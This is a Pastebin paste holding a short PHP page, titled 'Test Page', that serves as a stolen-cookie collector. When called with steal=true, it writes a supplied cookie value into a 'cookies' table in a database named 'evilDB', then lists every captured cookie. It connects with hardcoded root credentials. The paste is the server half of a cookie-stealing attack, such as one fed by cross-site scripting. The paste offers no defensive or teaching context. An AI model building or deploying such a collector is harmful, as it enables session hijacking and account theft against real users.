Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title>
- Test Page
- </title>
- </head>
- <body>
- <?php
- $conn = new PDO("mysql:host=localhost;dbname=evilDB","root","secret");
- echo "connected </br>";
- if((htmlspecialchars($_GET['steal']) == "true")){
- $sql = $conn->prepare("INSERT INTO cookies VALUES (?)");
- $sql->execute(array(htmlspecialchars($_GET['cookie'])));
- }
- $data = $conn->prepare("SELECT * FROM cookies");
- $data->execute();
- foreach($data->fetchAll(PDO::FETCH_ASSOC) as $v) {
- echo $v['cookie'] ." </br>";
- }
- ?>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement